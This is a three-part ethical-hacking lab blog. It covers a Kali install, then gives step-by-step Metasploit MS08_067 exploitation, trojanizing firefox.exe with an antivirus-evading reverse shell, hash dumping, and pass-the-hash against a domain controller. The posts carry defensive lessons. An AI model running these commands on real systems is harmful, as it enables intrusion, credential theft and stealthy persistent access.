Building an Ethical hacking lab on your laptop with VirtualBox – Part 16 – Kali Linux 2.0 Rolling

Kali Linux was updated a while back and since has had many nice features added to it. I’ve covered other methods of creating your own custom Kali ISO and installing Kali in VirtualBox before. Check out the previous VirtualBox guide for basic configuration and then follow along to complete the updated Kali 2.0 Rolling installation and get guest additions working as it’s changed a little since my last guide.

What you’ll need is the following:

1 – VirtualBox installed with guest additions downloaded
2 – Kali Linux 2.0 ISO downloaded

As mentioned already refer to the previous guide for basic VirtualBox configuration.

Let’s get to it!

Select Install on first boot to start of the installation

1_Kali_Linux_2.0_VirtualBox_Install_select_install

1_Kali_Linux_2.0_VirtualBox_Install_select_install

Select your desired language

2_Kali_Linux_2.0_VirtualBox_Install_select_language

2_Kali_Linux_2.0_VirtualBox_Install_select_language

Select your country

3_Kali_Linux_2.0_VirtualBox_Install_select_country

3_Kali_Linux_2.0_VirtualBox_Install_select_country

Select your desired keyboard configuration

4_Kali_Linux_2.0_VirtualBox_Install_select_keyboard_layout

4_Kali_Linux_2.0_VirtualBox_Install_select_keyboard_layout

Enter a hostname for your system

5_Kali_Linux_2.0_VirtualBox_Install_enter_a_hostname

5_Kali_Linux_2.0_VirtualBox_Install_enter_a_hostname

Enter a domain name if you want to use one otherwise just hit “Continue”

6_Kali_Linux_2.0_VirtualBox_configure_DNS_if_needed

6_Kali_Linux_2.0_VirtualBox_configure_DNS_if_needed

Enter your the password you want to use for the root account and hit “Continue”

7_Kali_Linux_2.0_VirtualBox_configure_enter_root_password

7_Kali_Linux_2.0_VirtualBox_configure_enter_root_password

Verify your root password and hit “Continue”

8_Kali_Linux_2.0_VirtualBox_configure_enter_root_password_confirmation

8_Kali_Linux_2.0_VirtualBox_configure_enter_root_password_confirmation

Hit “Enter” to continue the hard disk partitioning using the “Guided – use entire disk” method. Feel free to choose a different method if you wish.

9_Kali_Linux_2.0_VirtualBox_configure_select_disk_partitioning

9_Kali_Linux_2.0_VirtualBox_configure_select_disk_partitioning

Hit “Enter” to continue using the selected partition for the hard disk install

10_Kali_Linux_2.0_VirtualBox_configure_select_disk_to_partition

10_Kali_Linux_2.0_VirtualBox_configure_select_disk_to_partition

Hit “Enter” to continue installation using the “All files in one partition” partitioning scheme. Feel free to change it.

11_Kali_Linux_2.0_VirtualBox_configure_select_partitioning_scheme

11_Kali_Linux_2.0_VirtualBox_configure_select_partitioning_scheme

Select “Finish partitioning and write changes to disk” and hit “Enter”

12_Kali_Linux_2.0_VirtualBox_configure_write_changes_to_disk

12_Kali_Linux_2.0_VirtualBox_configure_write_changes_to_disk

Select “Yes” to confirm you want to write all your changes to disk and hit “Enter”

13_Kali_Linux_2.0_VirtualBox_configure_write_changes_to_disk_confirmation

13_Kali_Linux_2.0_VirtualBox_configure_write_changes_to_disk_confirmation

Select “No” to use a network mirror

14_Kali_Linux_2.0_VirtualBox_configure_select_no_for_a_mirror

14_Kali_Linux_2.0_VirtualBox_configure_select_no_for_a_mirror

Select “Yes” and hit enter to install the GRUB boot loader to the master boot record

15_Kali_Linux_2.0_VirtualBox_configure_select_yes_to_install_the_GRUB_bootloader

15_Kali_Linux_2.0_VirtualBox_configure_select_yes_to_install_the_GRUB_bootloader

Select your hard disk you want to install the GRUB boot loader on and hit “Enter”

16_Kali_Linux_2.0_VirtualBox_configure_select_disk_to_install_the_GRUB_bootloader

16_Kali_Linux_2.0_VirtualBox_configure_select_disk_to_install_the_GRUB_bootloader

Installation is now complete, select “Continue” and hit “Enter” to reboot into your new Kali install

17_Kali_Linux_2.0_VirtualBox_configured_ready_to_reboot

17_Kali_Linux_2.0_VirtualBox_configured_ready_to_reboot

At first login enter the username “root” followed by the password you entered at the start of the install

18_Kali_Linux_2.0_VirtualBox_configured_first_login

18_Kali_Linux_2.0_VirtualBox_configured_first_login

Excellent, first logon was a success. Well done so far only a few steps remain until you can start playing in your lab

19_Kali_Linux_2.0_VirtualBox_configured_first_logon

19_Kali_Linux_2.0_VirtualBox_configured_first_logon

During install we didn’t add repositories but in order to update and upgrade the system we’ll need to modify the /etc/apt/sources.lst. Use a text editor of choice of use nano like the example below.

20_Kali_Linux_2.0_VirtualBox_modify_apt_sources_list

20_Kali_Linux_2.0_VirtualBox_modify_apt_sources_list

Add the following repositories to the file then save it. If using nano like in the example do this pressing CTRL+O and pressing enter. Exit with CTRL + X

deb http://http.kali.org/kali kali-rolling main contrib non-free
deb-src http://http.kali.org/kali kali-rolling main contrib non-free

21_Kali_Linux_2.0_VirtualBox_modify_apt_sources_list_repositories

21_Kali_Linux_2.0_VirtualBox_modify_apt_sources_list_repositories

Now that you have some repositories enter the following command into the terminal and hit “Enter”. This will take some time to complete so go grab a beverage of choice and chill out for a bit.

sudo apt-get update && sudo apt-get upgrade -y && sudo apt-get dist-upgrade -y

22_Kali_Linux_2.0_VirtualBox_update_upgrade_dist_upgrade

22_Kali_Linux_2.0_VirtualBox_update_upgrade_dist_upgrade

When prompted to restart services during package upgrades without asking select “Yes” and hit “Enter”

23_Kali_Linux_2.0_VirtualBox_update_upgrade_dist_upgrade_select_yes_to_restart_during_package_upgrades

23_Kali_Linux_2.0_VirtualBox_update_upgrade_dist_upgrade_select_yes_to_restart_during_package_upgrades

When prompted if non-superusers should be able to capture packets with Wireshark select “No” and hit “Enter”

24_Kali_Linux_2.0_VirtualBox_select_no_to_disallow_non_superusers_capture_packets_wireshark

24_Kali_Linux_2.0_VirtualBox_select_no_to_disallow_non_superusers_capture_packets_wireshark

Select “Ok” regarding the PostgreSQL version 9.5 obsolete warning and hit “Enter”

25_Kali_Linux_2.0_VirtualBox_select_OK_postgresql_common

25_Kali_Linux_2.0_VirtualBox_select_OK_postgresql_common

If prompted to keep any configurations enter “Y” and hit “Enter” to continue

26_Kali_Linux_2.0_VirtualBox_enter_Y_to_keep_defaults

26_Kali_Linux_2.0_VirtualBox_enter_Y_to_keep_defaults

It took sometime but if you’ve gotten this far your doing well. Enter “reboot” and hit “Enter”

27_Kali_Linux_2.0_VirtualBox_update_upgrade_dist_upgrade_complete

27_Kali_Linux_2.0_VirtualBox_update_upgrade_dist_upgrade_complete

This is where things have changed, if you refer to the previous guides on my blog you’ll see installing Virtual Box Guest additions used to be different, now however all you have to do is enter the following

sudo apt-get install -y virtualbox-guest-x11

28_Kali_Linux_2.0_VirtualBox_Install_Guest_Additions

28_Kali_Linux_2.0_VirtualBox_Install_Guest_Additions

Once the installation is complete enter “reboot” and hit “Enter”

29_Kali_Linux_2.0_VirtualBox_Guest_Additions_installed_reboot

29_Kali_Linux_2.0_VirtualBox_Guest_Additions_installed_reboot

You will now have a big full screen and all the other features of Virtual Box Guest additions available

30_Kali_Linux_2.0_VirtualBox_Guest_Additions_installed_rebooted_and_full_screen_achieved

30_Kali_Linux_2.0_VirtualBox_Guest_Additions_installed_rebooted_and_full_screen_achieved

I figured a guide was necessary as I had some issues myself the first time I installed the latest version and imagine others have had the same problem.

That’s it for now, well done getting Kali installed and configured. Have fun playing in your lab!

 

Backdooring Firefox with Veil-Evasion, Backdoor-Factory & Metasploit – Server 2003 MS08_067

In this scenario you have just compromised a Windows 2003 Domain Controller as it was unpatched for MS08_067. You don’t want to create a persistent backdoor on the target system as a vigilant administrator may see the anomaly and investigate. You are happy to wait for some time before you get a shell on the box again. The best bit is the administrator is on the box at the time so it arouses less suspicion and also allows you to spy on the administrator and see what they are doing.

What do you do?

Well you could do many things but what we will cover here is using a system application already installed on the system that we will modify with some shellcode and drop back on the target system creating a backdoor from an executable that is ran frequently on the target system and blends in with the traffic generated. Looking at the desktop shortcuts is an excellent way to see what is commonly used by the user of a system. Either that or they didn’t untick the shortcut box but in saying that there is a strong chance it will be ran in the near future if you are patient and willing to wait. Patience is the key.

I have been meaning to write about Backdoor-Factory for some time now as it’s quite cool, your executable is fully functional after it’s been modified and will continue to work like it did before without any issues if you execute the process of modifying the executable correctly that is. The other reason I wanted to write this was to show how easy it is to do something like this and why you need to scrutinize your downloads or executables, especially if they come from an unknown source like a torrent site for example. Even Altcoin executables have been targeted on forums where unsuspecting end users think they are downloading a reputable miner, when in fact it’s actually backdoored and stealing from them :-/

The combination of Veil-Evasion and Backdoor-Factory together however is an excellent combination for obfuscating your payload on a penetration test and will remain undetected by Anti-Virus as long as you don’t upload the executable file to VirusTotal, uploading the hash to check though is perfectly fine 😉

The point of this article is to not put all your trust in VirusTotal or your system Anti-Virus to confirm that something is clean.

The lab environment configured for this exploitation consists of the following systems:

1 – Pfsense <– Firewall

2 – Security Onion <– Monitoring & IDS

4 – Windows Server 2003 <– Domain Controller

5 – Kali <– Hack all the things

Trying this against production systems you are not authorized to attack will get you caught. You have been warned. Only do this to learn and generally have fun.

In this tutorial we will go through the following 7 steps below:

1 – Exploit a Windows 2003 Domain Controller with Metasploit (MS08_067).

2 – Check the shortcuts on the “All Users” desktop.

3 – Pull one of the executables from behind a shortcut on the desktop and backdoor it with Veil-Evasion using the Backdoor-Factory payload.

4 – Check the hash of the file against VirusTotal.

5 – Upload the backdoored executable to the target system.

6 – Configure a listener with Metasploit to receive the shell on the box when the shortcut is clicked.

7 – Be patient.

Kali Attacker = 192.168.1.102

Windows 2003 Domain Controller = 192.168.1.105

Let’s get to it 🙂

You’ve already done some reconnaissance with nmap and you know that the system is vulnerable to MS08_067 you then exploit the system with Metasploit’s msfconsole and gain a meterpreter shell on the Windows 2003 Domain Controller.

Msfconsole

use exploit/windows/smb/ms08_067_netapi

set rhost 192.168.1.105

exploit

1_Loading_msfconsole_exploiting_MS08_067_Windows_Server_2003

1_Loading_msfconsole_exploiting_MS08_067_Windows_Server_2003

Check the IP address and the user you’re logged on as on the box:

“ifconfig” checks your IP and MAC address

“getuid” checks the user privilege you currently have on the box which is System 🙂

2_msfconsole_MS08_067_Windows_Server_2003_exploited_check_IP_and_username

2_msfconsole_MS08_067_Windows_Server_2003_exploited_check_IP_and_username

Next, navigate the Windows 2003 directories on the system to locate the “All Users” profile and see what shortcuts are on the desktop.

cd C:\
ls
cd “Documents and Settings”
ls
cd “All Users”
ls

3_meterpreter_changing_directories_Windows_Server_2003

3_meterpreter_changing_directories_Windows_Server_2003

Continuing on

ls
cd Desktop
ls

At this point you will see the shortcuts for “All Users” and notice a shortcut for Mozilla Firefox (because you installed it). Leveraging this information there is a good chance someone will open the browser on the Server at some point and this is what we want. Alternatively system tools are an excellent choice also like the Sysinternals Suite of tools that often will exist on a Windows server. You could backdoor anything from files to installers to executables that are commonly used. Installers are another excellent way to pivot onto other boxes if there is a network share specifically holding installers for quick install on other systems as is often the case, hell you could even backdoor something that is pushed out via Group Policy and target a full Active Directory user base if the scope asks for the worst.

4_meterpreter_changing_directories_Windows_Server_2003_continued

4_meterpreter_changing_directories_Windows_Server_2003_continued

Navigate to the program files directory of Mozilla Firefox on the system as this is where the executable resides that is executed when the shortcut is clicked whether on the desktop or the Program Files directory from the Start Menu.

From the same meterpreter window run the following commands below

Cd “C:\\Program Files\\Mozilla Firefox”
ls | grep firefox.exe

Note the double backslash that needs to be passed as an escape when navigating the Windows directory using the meterpreter compared to the single backslash on a standard Windows console. The quotes are also important to encapsulate the string correctly as it has spaces similar to a Windows system.

Ls | grep firefox.exe is simply checking the contents of the Mozilla Firefox folder that you just changed into and piping it to grep to search for firefox.exe as this is the executable we are going to backdoor.

5_navigating_program_files_Mozilla_Firefox_checking_executable

5_navigating_program_files_Mozilla_Firefox_checking_executable

To download firefox.exe to your Kali system simply run the following from the meterpreter console

download firefox.exe

6_metasploit_meterpreter_download_firefox_exe

6_metasploit_meterpreter_download_firefox_exe

Now that you have the exact original version of the firefox executable on the target system you can backdoor it with Veil-Evasion, it does not come as standard with Kali but it is included in the repository so just run:

apt-get update
apt-get veil-evasion

Follow along with the prompts, they are pretty much self explanatory and you will soon have Veil-Evasion installed on your Kali system and ready to use in no time at all.

7_apt-get_update_and_apt-get_install_veil-evasion_

7_apt-get_update_and_apt-get_install_veil-evasion_

So next thing to do is run Veil-Evasion and get things moving along by running “list” to check the available payloads

8_veil_evasion_started_list

8_veil_evasion_started_list

Select option 18 for the native/backdoor_factory payload and press Enter to continue

9_veil_evasion_started_list_select_backdoor-factory_payload

9_veil_evasion_started_list_select_backdoor-factory_payload

Next you need to modify the backdoor-factory payload options from the default ones seen below

10_veil_evasion_backdoor-factory_payload_options

10_veil_evasion_backdoor-factory_payload_options

Modify the options to that of your local host IP address, local port, path of the original executable (firefox.exe), the patch method to manual and the reverse shell payload you want to use.

Set lhost 192.168.1.102
set lport 443
set original_exe /root/firefox.exe
set patch_method manual
set payload reverse_shell_tcp_inline

11_veil_evasion_backdoor-factory_payload_options_modified

11_veil_evasion_backdoor-factory_payload_options_modified

You can double check your predefined settings by running “info”

12_veil_evasion_backdoor-factory_payload_options_modified_check_info

12_veil_evasion_backdoor-factory_payload_options_modified_check_info

Once your happy with the settings next you need to run “generate” in order to generate your payload and modify the firefox.exe file to include your reverse shell hidden in shell code. You will need to locate a cave to hide your shellcode in and I find doing this manually works better than letting Backdoor-Factory automatically do this for you. The trick is to find a cave that is bigger than your initial size which is 411 in this case. Option 1 is 472, Option 2 is 551 both of which are only a little bit bigger than the size you are trying to hide your shellcode in so option 3 with a size of 1184 is the best option and should work without any issues for the task at hand. If none of the cave sizes seem of use you can use j to jump and find more caves to use instead until you are happy.

Enter 3 and hit Enter to finish the process

13_veil_evasion_backdoor-factory_payload_generate

13_veil_evasion_backdoor-factory_payload_generate

This should run without issue like this

14_veil_evasion_backdoor-factory_payload_generate_option_selected

14_veil_evasion_backdoor-factory_payload_generate_option_selected

Next you will be prompted for your payload name, enter whatever you want but the payload is firefox so it makes sense to enter firefox for the name.

15_veil_evasion_backdoor-factory_payload_generate_enter_payload_name

15_veil_evasion_backdoor-factory_payload_generate_enter_payload_name

Congratulations, you have just generated your payload. You’ll see the location of the payload file generated in the final output like the screenshot below

16_veil_evasion_backdoor-factory_payload_generated

16_veil_evasion_backdoor-factory_payload_generated

Before continuing it’s wise to check the hash on VirusTotal (not the actual executable as that will be flagged when analyzed). The hash however will not give any of the contents away and will likely remain undetected on the target system.

Change into the directory of the Virus Total Notify tool:

Cd /usr/share/veil-evasion/tools/vt-notify

Run the script with the “-s” option to check the file hash of your backdoored executable and you should see an output like the one below:

./vt-notify -s /var/lib/veil-evasion/output/compiled/firefox

17_veil_evasion_vt-notify_file_hash_check

17_veil_evasion_vt-notify_file_hash_check

Now that you know the hash is not flagged you can safely upload it back to the target system using the meterpreter shell from earlier and use the meterpreter upload command

upload /var/lib/veil-evasion/output/compiled/firefox.exe .

The dot (.) above tells upload to copy the file to the current directory which is the Mozilla Firefox program files directory we had opened earlier.

18_meterpreter_upload_firefox_backdoor

18_meterpreter_upload_firefox_backdoor

Next you need to setup a listener of your choosing but for this guide I will use Metasploits msfconsole to create the listener. At this point exit your current meterpreter session on the target system so that you are back at the msf > prompt.

Configure your listener

use exploit/multi/handler
set payload windows/shell_reverse_tcp
set lhost 192.168.1.102
set lport 443
exploit

19_msfconsole_reverse_tcp_shell_configuration

19_msfconsole_reverse_tcp_shell_configuration

Now go to your Windows 2003 Domain Controller and execute the firefox shortcut on the desktop and pop back to your meterpreter session and you should now see a connected shell on your target system in the C:\Program Files\Mozilla Firefox directory where we dropped the payload.

20_msfconsole_reverse_tcp_shell_connected

20_msfconsole_reverse_tcp_shell_connected

Checking the processes on the target system with the Sysinternals Process explorer you should see firefox.exe with a cmd.exe child process running.

21_Sysinternals_Process_Explorer_process_checking

21_Sysinternals_Process_Explorer_process_checking

Checking the TCP/IP connections currently running from the Firefox.exe process you will see your Kali remote IP address running over https port 443.

22_Sysinternals_Process_Explorer_process_checking_TCP_IP_connections

22_Sysinternals_Process_Explorer_process_checking_TCP_IP_connections

Looking at the image file I noticed it was a bit weird looking too. Not important just something weird I noticed.

23_Sysinternals_Process_Explorer_process_checking_Image_File_Weird

23_Sysinternals_Process_Explorer_process_checking_Image_File_Weird

Checking the cmd.exe child process you will see that firefox.exe is the parent of cmd.exe which should never be the case!

24_Sysinternals_Process_Explorer_process_checking_cmd_exe

24_Sysinternals_Process_Explorer_process_checking_cmd_exe

That’s it, check your Security Onion logs and see what you can determine happened. There is some interesting information in there too that warrants a closer look.

I hope you take away some valuable lessons from this tutorial and inspect the processes running on your system if you don’t do that already! Be dubious of random executables online before you download them and don’t rely on VirusTotal to save you or make you feel safe. Also, stop using Windows Server 2003 and Windows XP as these systems are full of holes and  even though MS08_067 was exploited in this article and the previous one these systems are full of holes and unsupported so move away from them. It’s really child’s play and trivial for any script kiddie to own your box.

There is also a video to accompany this article seen here below.

Until next time play in the lab and see what you can do, read the man pages and read about security threats and subscribe to RSS feeds online. It’s an excellent way to learn and get to your end goal whatever that may be.

 

Exploiting ms08_067 – Windows XP & Windows Server 2003 Passing the hash

If you have ever encountered Conficker (aka Downup, Downadup and Kido depending on the AV vendor naming convention but I prefer Conficker) on a Windows system it has most likely been due to the system being unpatched for ms08_067 (CVE-2008-4250) published on October 23, 2008 replacing the previous vulnerability affecting some Windows systems published on August 08, 2006 MS06-040 (CVE-2008-4250) which makes it trivial to run arbitrary code on the target system via remote code execution (RCE) allowing an attacker to gain full system access of the target machine and do anything they want. This made the Conficker Worm one of the best worms since the Welchia Worm back in 2003 that was classed as a helpful worm as it looked for the Blaster Worm on an infected system deleted it and then patched the users system although it was not always successful with the patching process according to Microsoft. Conficker still exists and one of the variants of which there are five (A,B, B++, C & E)  even formed a huge botnet.

A nice visual representation of how the Conficker Worm spreads is outlined below courtesy of Wikimedia and it uses a nice little technique commonly used by worms and malware still today to spread laterally through a network exploiting weak passwords on the victim machines. Later another variant updated the previous versions to propagate via network shares and removable media and was recently discovered in a nuclear power plant in Germany where there machines were said to be riddled with it as is often the case when you discover a Conficker infection. I once witnessed Conficker hit over 25,000 machines in minutes after a Senior technician had plugged their USB into a system logged in as domain admin, lets just say that heads rolled!

Did you know that the name Conficker actually translates to “Configure Fucker” using the English word Configure (Con) and the German derogatory term “Ficker” which translates to Fucker in English so next time you see it think of the correct name and don’t refer to it as Downup for example as that’s just AV companies giving different names to malware families and confusing the masses.

Analysis has been difficult for researchers who struggled to get around the huge amount of pseudo-random generated domains generated on a daily basis of which there was 250 initially beaconing out to eight Top Level Domains (TLD’s) think .biz, .com etc. When it reached the Command and Control (C&C) server it then would update itself or send a new payload to the victim machine. Imagine dealing with a huge amount of Indicators of Compromise (IOC’s) like this yourself, it’s quite daunting but through collaboration in the Cyber Security Community which included Microsoft, ICANN, domain registry operators, anti-virus vendors, and academic researchers they managed to crack the Domain Generation Algorithim (DGA) that was being used to generate the 250 pseudo-random generated domains a day and register the domains in advance of the Conficker Author and block them from communicating with and updating the botnet which proved to be quite successful until Conficker C was released in early February 2009 and managed to update nearly half a million computers from the A/B variants to Conficker C.

Variants B and later also upgraded the armoring of it’s payloads to prevent them from being hijacked and moved from MD5 hashing to MD6 six weeks after a weakness was discovered in the MD5 algorithm and moved from an RSA 1024-bit private key to an RSA 4096-bit private key which meant Conficker didn’t unpack or execute the payload unless the signature was verified against the public key in the malware.

The most amazing thing that happened when Conficker updated the previous variants on April the 1st 2009 was that it now no longer generated 250 pseudo-random generated domains per day but a staggering 50,000 pseudo-random generated domains from over 116 TLD’s all over the world. The Conficker author was learning from the Conficker Working Group and adapting to make their research incredibly more difficult than it once had been.

This is why we still see Conficker today so long after it’s initial release eight years ago.

0_Conficker_infection_methods

0_Conficker_infection_methods

The exploit of MS08_067 works so well because the Windows Server service does not properly handle specially crafted RPC requests that are sent to it.

The Server service provides Remote Procedure Call (RPC) support so that you can print, access file shares and communicate with applications on other systems in the network using named pipe services.

The Remote Procedure Call (RPC) is a protocol which allows a program to request a service from a program that is located on another system remotely on the network. The remote system will be known as the client and the remote service-providing program is the server.

Anyway let’s get to the fun part.

Exploiting MS08_067 is a bit like writing “hello world” for the first time in a new language and it’s a great way to get started 🙂

The lab environment configured for this exploitation consists of the following systems:

1 – Pfsense <– Firewall
2 – Security Onion <– Monitoring & IDS
3 – Windows XP <– Joined to a Domain Controller
4 – Windows Server 2003 <– Domain Controller
5 – Kali <– Hack all the things

Trying this against production systems you are not authorized to attack will get you caught. You have been warned. Only do this to learn and generally have fun.

In this tutorial we will go through the following 7 steps below:

1 – Scanning a system using Nmap to check if it is vulnerable first to MS08_067.

2 – Exploiting the system with Metasploit using msfconsole.

3 – Grabbing password hashes on the compromised target system.

4 – Checking which hashes work with an Nmap script.

5 – Leveraging the hashes to attack a Domain Controller by passing the hash.

6 – Have a quick look at the system processes using Process Explorer.

7 – Have a quick look at the Security Onion Snort IDS Logs in Squil to see what events were triggered.

Kali Attacker = 192.168.1.102
XP Victim IP Address = 192.168.1.104
Windows Server 2003 Domain Controller = 192.168.1.105

Let’s get to it 🙂

First by using one of the built in Nmap Scripting Engine (NSE) scripts we can scan the system to see whether it’s vulnerable to MS08_067 (It will also tell you if the system is already infected with Conficker)

Search for it on your system using the following command

locate nmap | grep ms08

You can then use the location of the file in your Nmap command as outlined below

nmap –script=/usr/share/nmap/scripts/smb-vuln-ms08-067.nse 192.168.1.104

“nmap” runs nmap
“–script=” this is where you tell nmap you want to use a script
“/usr/share/nmap/scripts/smb-vuln-ms08-067.nse” this is the directory in which the script we want to use resides.
“192.168.1.104” this is the target (victim) machine to scan

1_nmap_ms08_067_nse_vulnerability_scanning_script

1_nmap_ms08_067_nse_vulnerability_scanning_script

Now that we know the system is vulnerable to this attack we can fire up msfconsole and exploit the target.

Simply run msfconsole

2_load_msfconsole_to_exploit_ms08_067

2_load_msfconsole_to_exploit_ms08_067

Don’t you love the banners every time you login 🙂

3_msfconsole_loaded

3_msfconsole_loaded

Search for the ms08_067 module with a simple search

search ms08_067

The ranking of great below means this exploit as per the advisory will have great success in exploiting the target system by using a buffer overflow allowing you to run arbitrary commands on the target system via remote code execution (RCE)

4_msfconsole_search_for_ms08_067_exploit_module

4_msfconsole_search_for_ms08_067_exploit_module

Using the name and the directory found using search above you can now use that in order to exploit the vulnerable Windows XP target machine.

Use exploit/windows/smb/ms08_067_netapi
set RHOST 192.168.1.104
exploit

“use” tells metasploit that you would like to use the module that follows
“exploit/windows/smb/ms08_067_netapi” the module you want to use
“set” sets the options which follow into the newly loaded module
“RHOST 192.168.1.104” this is the option you want to set for your remote host IP address
“exploit” simply runs the module with your predefined options just entered.

Running shell gives you a command line shell on the target box, this is not needed and is just done for fun.

You can see the IP address of the Windows XP machine, alternatively you could just run ifconfig from the meterpreter as you would on your Linux system to get the same information.

5_msfconsole_metasploit_ms08_067_Windows_XP_exploitation

5_msfconsole_metasploit_ms08_067_Windows_XP_exploitation

Exit from the windows shell and then run hashdump from the meterpreter shell to easily gather the user accounts and password hashes on the target system.

6_meterpreter_dumping_password_hashes_Windows_XP

6_meterpreter_dumping_password_hashes_Windows_XP

Now that you have some usernames and passwords you can create some files using any editor of your choice but for pure simplicity I am using the cat command to create these quickly.

“Cat > usernames.txt” tells cat to create a file called usernames.txt. Everytime you want to go to the next line hit enter and exit and save the file by pressing CTRL + C on your keyboard.

“Cat usernames.txt” is used to then verify that the usernames have been added and saved.

Repeat the same process above for the hashes as you can see below.

7_create_username_and_password_hash_files_for_nmap_brute_force_script

7_create_username_and_password_hash_files_for_nmap_brute_force_script

Now that you have a username and hashes file you can pass these to another Nmap script to try against the target Windows 2003 Domain Controller and see if these accounts exist.

Search for the nmap smb-brute script with the following command:

Locate nmap | grep smb-brute

Run the following nmap command to check if any of the usernames and hashes are valid against the target system.

Nmap –script=/usr/share/nmap/scripts/smb-brute.nse –script-args=userdb=usernames.txt,passdb=hashes.txt 192.168.1.105

“nmap” runs nmap
“–script=” this is where you tell nmap you want to use a script
“/usr/share/nmap/scripts/smb-brute.nse” this is the directory in which the script we want to use resides.
“–script-args=” this allows you to send additional options to the NSE script
“userdb=usernames.txt” userdb is an option and usernames.txt is assigned to this variable which is then passed to the script.
“,” make sure to enter that comma without any spaces!
“ passdb=hashes.txt” passdb is an option and hashes.txt is assigned to this variable which is then passed to the script.
“192.168.1.105” this is the target (victim) machine to scan (You can change this to a subnet if you wish)

You can then see if any of the accounts are valid when the script runs. Any that are will have “Valid Credentials” appended at the end as can be seen below.

8_nmap_smb_brute_nse_script_Windows_Server_2003

8_nmap_smb_brute_nse_script_Windows_Server_2003

Using your confirmed valid credentials using the nmap script you can now pass the hash obtained from the Windows XP machine administrator account and use it against the Windows 2003 Server Domain Controller without knowing the actual plain text password or even cracking it. You can simply pivot and use the hash as leverage into another system on the network and in this case the keys to the kingdom as you are getting access to all the users accounts hosted on this server. In this guide I am using the psexec module within metasploit but you could also choose to upload the actual sysinternals psexec.exe to the Windows XP system and pivot from there leaving less of a trail to your Kali system when you pass the hash.

Use exploit/windows/smb/psexec
set rhost 192.168.1.105
set SMBUSER administrator
set SMBPASS 25d4823ec0752acc38f10713b629b565:cf4762a61e232355aa12d713a083d5fd
exploit

I’m not going to explain the above command usage as it should be self explanatory, if you are unsure check above and see if you can figure it out.

Once again shell is ran to get a Windows command prompt on the Windows 2003 Server and check the IP address.

9_metasploit_Windows_Server_2003_Pass_the_hash_psexec

9_metasploit_Windows_Server_2003_Pass_the_hash_psexec

If you run the Sysinternals process explorer on the Windows 2003 Server you can see your metasploit connection established running in rundll32.exe as can be seen below.

10_using_procexp_on_Windows_Server_2003_to_check_connections

10_using_procexp_on_Windows_Server_2003_to_check_connections

It’s a good idea to run metasploits hashdump again in order to gain the Active Directory users as you are sure to get more than the ones you gained on the Windows XP machine at the start.

11_meterpreter_dumping_password_hashes_Windows_Server_2003_Active_Directory

11_meterpreter_dumping_password_hashes_Windows_Server_2003_Active_Directory

I like to also run monitoring tools while playing around as you probably know from following along in previous tutorials namely the building of your own Snort IDS but have recently gone back to using Security Onion as it’s very user friendly to configure, setup and everything just works. The team over at security onion have really done a fantastic job getting this Open Source networking monitoring OS off the ground and I really advise having a play around with it as it’s easy to maintain and configure.

Below is a snippet from SQUIL making the Snort IDS signatures easy to run through and break down into the finer details. As you can see it detected Possible Shellcode. Policy related signatures are also triggered too which don’t mean what you think they mean. Yes you’re thinking it shows the system was attacked but in reality they mean it’s a policy signature and it’s detecting an EXE or DLL file download to the destination (target) system which in our case is part of an attack but in real life it could just be a random EXE or DLL that has been downloaded legitimately and sets off a False Positive. Most people think these are attacks when they are not.

12_Security_Onion_IDS_Logs_SGUIL

12_Security_Onion_IDS_Logs_SGUIL

I hope you enjoyed this write up, I had lots of fun making it and have also included a short video carrying out this attack which you can view below. Until next time, have fun!